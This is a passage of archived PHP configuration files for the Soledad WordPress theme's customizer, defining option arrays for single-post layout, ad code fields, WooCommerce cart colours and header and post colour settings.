	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => 'style-1',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Author Box Style', 'soledad' ),
	'id'          => 'penci_authorbio_style',
	'description' => '',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'style-1' => __( 'Default', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
		'style-4' => __( 'Style 4', 'soledad' ),
		'style-5' => __( 'Style 5', 'soledad' ),
	)
);
$options[] = array(
	'default'     => 'round',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Author Box Image Type', 'soledad' ),
	'id'          => 'penci_bioimg_style',
	'description' => '',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'round'  => 'Round',
		'square' => 'Square',
		'sround' => 'Round Borders',
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Sticky Next/Prev Posts', 'soledad' ),
	'id'       => 'penci_post_sticky_rlposts',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '10',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Sticky Next/Prev Posts: Limit Title Length', 'soledad' ),
	'id'       => 'penci_post_sticky_rlposts_tlength',
	'type'     => 'soledad-fw-number',
	'active_callback' => array(
		array(
			'setting'  => 'penci_post_sticky_rlposts',
			'operator' => '==',
			'value'    => true,
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Next/Prev Posts Navigation', 'soledad' ),
	'id'       => 'penci_post_nav',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Border Top of Next/Prev Post Navigation', 'soledad' ),
	'id'       => 'penci_post_nav_rm_bt',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'style-1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Next/Prev Post Navigation Style', 'soledad' ),
	'id'       => 'penci_post_pagination_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'style-1' => esc_html__( 'Style 1', 'soledad' ),
		'style-2' => esc_html__( 'Style 2', 'soledad' ),
		'style-3' => esc_html__( 'Style 3', 'soledad' ),
		'style-4' => esc_html__( 'Style 4', 'soledad' ),
		'style-5' => esc_html__( 'Style 5', 'soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase in Post Title Next/Prev Post Navigation', 'soledad' ),
	'id'       => 'penci_off_uppercase_post_title_nav',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show Post Thumbnail on Next/Prev Post Navigation', 'soledad' ),
	'description' => __( 'This option applies to Post Navigation Style 1', 'soledad' ),
	'id'          => 'penci_post_nav_thumbnail',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Lines Before & After of Heading Title on Related & Comments', 'soledad' ),
	'id'       => 'penci_post_remove_lines_related',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Gallery Feature from This Theme', 'soledad' ),
	'id'       => 'penci_post_disable_gallery',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Delayed Load Main Post Content on Mobile', 'soledad' ),
	'id'       => 'penci_single_delayed_content',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Video Floating', 'soledad' ),
	'description' => __( 'This option apply for the post format Video. The video will float in the corner as you scroll down outside the main video at the top.', 'soledad' ),
	'id'          => 'penci_video_float',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'bottom-right',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Video Floating Position', 'soledad' ),
	'id'       => 'penci_video_float_position',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'top-left'     => esc_html__( 'Top Left', 'soledad' ),
		'bottom-left'  => esc_html__( 'Bottom Left', 'soledad' ),
		'top-right'    => esc_html__( 'Top Right', 'soledad' ),
		'bottom-right' => esc_html__( 'Bottom Right', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Floating Video Mobile Width', 'soledad' ),
	'id'       => 'penci_video_float_mw',
	'type'     => 'soledad-fw-hidden',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Floating Video Width', 'soledad' ),
	'id'       => 'penci_video_float_w',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_video_float_w',
		'mobile'  => 'penci_video_float_mw',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Maximum Content Height on Mobile', 'soledad' ),
	'id'       => 'penci_single_content_hm',
	'type'     => 'soledad-fw-hidden',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'label'       => __( 'Maximum Content Height', 'soledad' ),
	'description' => __( 'This option will limit the main post content and display a "Read More" button.', 'soledad' ),
	'id'          => 'penci_single_content_h',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_single_content_h',
		'mobile'  => 'penci_single_content_hm',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Extra Author Option', 'soledad' ),
	'id'       => 'penci_disable_extra_author',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'justified',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Default Gallery Style from The Theme', 'soledad' ),
	'id'       => 'penci_gallery_dstyle',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'justified'        => __( 'Justified Style', 'soledad' ),
		'masonry'          => __( 'Masonry Style', 'soledad' ),
		'grid'             => __( 'Grid Style', 'soledad' ),
		'single-slider'    => __( 'Single Slider', 'soledad' ),
		'thumbnail-slider' => __( 'Single Slider with Thumbnail', 'soledad' ),
		'none'             => __( 'None', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '150',
	'sanitize' => 'absint',
	'label'    => __( 'Custom the height of images on Justified Gallery style', 'soledad' ),
	'id'       => 'penci_image_height_gallery',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_image_height_gallery',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'     => 'main-sidebar',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Custom Sidebar for Single', 'soledad' ),
	'id'          => 'penci_sidebar_name_single',
	'description' => __( 'If sidebar your choice is empty, will display Main Sidebar', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => get_list_custom_sidebar_option()
);
$options[] = array(
	'default'     => 'main-sidebar-left',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Custom Sidebar Left for Single', 'soledad' ),
	'id'          => 'penci_sidebar_left_name_single',
	'description' => __( 'If sidebar your choice is empty, will display Main Sidebar. This option just apply when you use 2 sidebars for Single', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => get_list_custom_sidebar_option()
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Ads on Single Posts', 'soledad' ),
	'id'       => 'penci_singleads_bheading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Add Ads/Custom HTML Code Inside Posts Content', 'soledad' ),
	'id'          => 'penci_ads_inside_content_html',
	'description' => '',
	'type'        => 'soledad-fw-code',
	'code_type'   => 'text/html',
);
$options[] = array(
	'default'  => 'style-1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Add Ads/Custom HTML Code Inside Posts Content:', 'soledad' ),
	'id'       => 'penci_ads_inside_content_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'style-1' => 'After Each X Paragraphs - Repeat',
		'style-2' => 'After X Paragraphs - No Repeat'
	)
);
$options[] = array(
	'default'  => '4',
	'sanitize' => 'absint',
	'label'    => __( 'Add Ads/Custom HTML Code Inside Posts Content After How Many Paragraphs?', 'soledad' ),
	'id'       => 'penci_ads_inside_content_num',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_ads_inside_content_num',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => '',
		),
	),
);
$options[] = array(
	'default'   => '',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'label'     => __( 'Add Google Adsense/Custom HTML code For Post Template Style 10', 'soledad' ),
	'id'        => 'penci_post_adsense_single10',
	'type'      => 'soledad-fw-code',
	'code_type' => 'text/html',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Add Google Adsense/Custom HTML code below post description', 'soledad' ),
	'id'          => 'penci_post_adsense_one',
	'description' => '',
	'type'        => 'soledad-fw-code',
	'code_type'   => 'text/html',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Add Google Adsense/Custom HTML code at the end of content posts', 'soledad' ),
	'id'          => 'penci_post_adsense_two',
	'description' => '',
	'type'        => 'soledad-fw-code',
	'code_type'   => 'text/html',
);

return $options;
PK     N\q6  6  D  inc/customizer/config/sections/pencidesign_woo_cart_page_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'          => 'penci_shop_product_cross_sell_columns',
	'default'     => 4,
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Cross Sell Product Columns', 'soledad' ),
	'description' => __( 'How many products should be shown per row on cross sell section ?', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		2 => __('2 Columns','soledad' ),
		3 => __('3 Columns','soledad' ),
		4 => __('4 Columns','soledad' ),
		5 => __('5 Columns','soledad' ),
		6 => __('6 Columns','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_woo_cart_breadcrumb_active_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Breadcrumb Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_breadcrumb_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Breadcrumb Active Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_tablehead_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Table Head Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_table_border_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Table General Border Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_table_txt_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Table General Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_table_product_title_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Product Title Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_table_product_title_hover_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Product Title Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_table_product_price_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Product Price Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_btn_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Button Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_btn_txt_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Button Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_btn_hover_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Button Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_btn_hover_txt_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Button Hover Text Color', 'soledad' ),
);
// secondary button
$options[] = array(
	'id'        => 'penci_woo_cart_sbtn_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Alt Button Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_sbtn_txt_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Alt Button Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_sbtn_hover_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Alt Button Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_sbtn_hover_txt_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Alt Button Hover Text Color', 'soledad' ),
);
// delete button
$options[] = array(
	'id'        => 'penci_woo_cart_del_btn_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Delete Item Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_del_btn_hv_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Delete Item Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_empty_title',
	'default'   => 'Your cart is currently empty',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_text_field',
	'label'     => __( 'Empty Cart Title', 'soledad' ),
	'type'      => 'soledad-fw-text'
);
$options[] = array(
	'id'        => 'penci_woo_cart_empty_textarea',
	'default'   => 'You don\'t have any products in the shop yet. <br> You will find a lot of interesting products on our "Shop" page.',
	'transport' => 'refresh',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'label'     => __( 'Empty Cart Text', 'soledad' ),
	'type'      => 'soledad-fw-textarea'
);
$options[] = array(
	'id'        => 'penci_woo_cart_before_content',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'label'     => __( 'Custom Content Before Cart Table', 'soledad' ),
	'type'      => 'soledad-fw-textarea'
);
$options[] = array(
	'id'        => 'penci_woo_cart_after_content',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'label'     => __( 'Custom Content After Cart Table', 'soledad' ),
	'type'      => 'soledad-fw-textarea',
);

return $options;
PK     N\s	  	  O  inc/customizer/config/sections/pencidesign_logo_header_colors_trans_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Social Icons Color', 'soledad' ),
	'id'       => 'penci_header_tran_social_color',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Social Icons Color Hover', 'soledad' ),
	'id'       => 'penci_header_tran_social_color_hover',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search, Shopping Cart & Mobile Bars Icons Color', 'soledad' ),
	'id'       => 'penci_tran_main_bar_search_magnify',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Icon Close Search Color', 'soledad' ),
	'id'       => 'penci_tran_main_bar_close_color',
);

$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Slogan Text', 'soledad' ),
	'id'       => 'penci_section_trslogan_text_heading',
	'type'     => 'soledad-fw-header',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Slogan Text Color', 'soledad' ),
	'id'       => 'penci_header_tran_slogan_color',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Slogan Line Color', 'soledad' ),
	'id'       => 'penci_header_tran_slogan_line_color',
);

$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Primary Menu', 'soledad' ),
	'id'       => 'penci_section_traprimary_menu_heading',
	'type'     => 'soledad-fw-header',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Menu Text Color', 'soledad' ),
	'id'       => 'penci_tran_main_bar_nav_color',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Menu Text Hover & Active Color', 'soledad' ),
	'id'       => 'penci_tran_main_bar_color_active',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Padding Menu Items Background Color', 'soledad' ),
	'id'       => 'penci_tran_main_bar_padding_color',
);

return $options;
PK     N\T^  T^  E  inc/customizer/config/sections/penci_section_spost_colors_section.phpnu [        <?php
$options         = [];
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Single Categories Accent Color', 'soledad' ),
	'id'       => 'penci_single_cat_color',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Title Color', 'soledad' ),
	'id'       => 'penci_single_title_color',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post SubTitle Color', 'soledad' ),
	'id'       => 'penci_single_subtitle_color',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Meta Color', 'soledad' ),
	'id'       => 'penci_single_meta_color',
);
$more_opt_single = array(
	'penci_single_color_title_s568'    => esc_html__( 'Post Title Color for Template Style 5, 6, 8, 13, 21', 'soledad' ),
	'penci_single_color_subtitle_s568' => esc_html__( 'Post SubTitle Color for Template Style 5, 6, 8, 13, 21', 'soledad' ),
	'penci_single_color_cat_s568'      => esc_html__( 'Categories Color for Template Style 5, 6, 8, 13, 21', 'soledad' ),
	'penci_single_color_meta_s568'     => esc_html__( 'Color for Posts Meta on Template Style 5, 6, 8, 13, 21', 'soledad' ),
	'penci_single_bgcolor_header'      => esc_html__( 'Header Background for Template Style 9 & 10', 'soledad' ),
	'penci_single_color_title_s10'     => esc_html__( 'Post Title Color for Template Style 10', 'soledad' ),
	'penci_single_color_subtitle_s10'  => esc_html__( 'Post SubTitle Color for Template Style 10', 'soledad' ),
	'penci_single_color_cat_s10'       => esc_html__( 'Categories Color for Template Style 10', 'soledad' ),
	'penci_single_color_meta_s10'      => esc_html__( 'Color for Posts Meta on Template Style 10', 'soledad' ),
	'penci_single_color_bread_s10'     => esc_html__( 'Color for Breadcrumb on Template Style 10', 'soledad' ),
	'penci_single_13_bgcolor'     	   => esc_html__( 'Background Color on Template Style 13', 'soledad' ),
	'penci_single_15_bgcolor'     	   => esc_html__( 'Background Color on Template Style 15', 'soledad' ),
	'penci_single_18_bgcolor'     	   => esc_html__( 'Background Color on Template Style 18', 'soledad' ),
	'penci_single_21_obgcolor'     	   => esc_html__( 'Background Overlay Color on Template Style 21', 'soledad' ),
);
foreach ( $more_opt_single as $opt_single_color_id => $opt_single_color_label ) {
	$desc = '';
	if ( 'penci_single_color_title_s568' == $opt_single_color_id || 'penci_single_color_subtitle_s568' == $opt_single_color_id || 'penci_single_color_cat_s568' == $opt_single_color_id || 'penci_single_color_meta_s568' == $opt_single_color_id ) {
		$desc = esc_html__( 'This option doesn\'t apply for move post title & meta below featured image', 'soledad' );
	}
	$options[] = array(
		'default'     => '',
		'sanitize'    => 'sanitize_hex_color',
		'type'        => 'soledad-fw-color',
		'label'       => $opt_single_color_label,
		'id'          => $opt_single_color_id,
		'description' => $desc
	);
}
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Tags Text Color', 'soledad' ),
	'id'       => 'penci_single_tag_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Tags Borders Color', 'soledad' ),
	'id'       => 'penci_single_tag_border',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Tags Background Color', 'soledad' ),
	'id'       => 'penci_single_tag_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Tags Hover Text Color', 'soledad' ),
	'id'       => 'penci_single_tag_hcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Tags Hover Borders Color', 'soledad' ),
	'id'       => 'penci_single_tag_hborder',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Tags Hover Background Color', 'soledad' ),
	'id'       => 'penci_single_tag_hbg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Share Text Color', 'soledad' ),
	'id'       => 'penci_single_share_tcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Share Text Background Color', 'soledad' ),
	'id'       => 'penci_single_share_bgcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Share Text Borders Color', 'soledad' ),
	'id'       => 'penci_single_share_bdcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Share Box Icon Color', 'soledad' ),
	'id'       => 'penci_single_share_icon_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Share Box Icon Hover Color', 'soledad' ),
	'id'       => 'penci_single_share_icon_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Numbers Like Of Post Color', 'soledad' ),
	'id'       => 'penci_single_number_like_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Icon Background Color for Share Box Style 3', 'soledad' ),
	'id'       => 'penci_single_share_icon_style3_bgcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Icon Background Hover Color for Share Box Style 3', 'soledad' ),
	'id'       => 'penci_single_share_icon_style3_hbgcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Text Color Inside Post Content', 'soledad' ),
	'id'       => 'penci_single_color_text',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Links', 'soledad' ),
	'id'       => 'penci_single_color_links',
);
for ( $pheading = 1; $pheading < 7; $pheading ++ ) {
	$options[] = array(
		'default'  => '',
		'sanitize' => 'sanitize_hex_color',
		'type'     => 'soledad-fw-color',
		'label'    => __( 'Custom Color for H' . $pheading . ' Tag Inside Post Content', 'soledad' ),
		'id'       => 'penci_single_color_h' . $pheading,
	);
}
/* social new style*/
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Social Background Color', 'soledad' ),
	'id'       => 'penci_single_newshare_bgcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Social HoverBackground Color', 'soledad' ),
	'id'       => 'penci_single_newshare_hbgcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Social Color', 'soledad' ),
	'id'       => 'penci_single_newshare_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Social Hover Color', 'soledad' ),
	'id'       => 'penci_single_newshare_hcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Social Borders Color', 'soledad' ),
	'id'       => 'penci_single_newshare_bcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Social Hover Boders Color', 'soledad' ),
	'id'       => 'penci_single_newshare_hbcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Plus Button Color', 'soledad' ),
	'id'       => 'penci_single_splus_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Plus Button Hover Color', 'soledad' ),
	'id'       => 'penci_single_splus_hcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Plus Button Background Color', 'soledad' ),
	'id'       => 'penci_single_splus_bgcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Plus Button Hover Background Color', 'soledad' ),
	'id'       => 'penci_single_splus_hbgcolor',
);
/*end social new style*/
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Blockquote Text Color', 'soledad' ),
	'id'       => 'penci_bquote_text_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Blockquote Author Text Color', 'soledad' ),
	'id'       => 'penci_bquote_author_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Blockquote Background Color', 'soledad' ),
	'id'       => 'penci_bquote_bgcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Borders & Icon Colors on Blockquote', 'soledad' ),
	'id'       => 'penci_bquote_border_color',
);
$options[] = array(
	'sanitize'    => 'sanitize_text_field',
	'label'       => esc_html__( 'Author Box', 'soledad' ),
	'id'          => 'penci_section_cauthor_box',
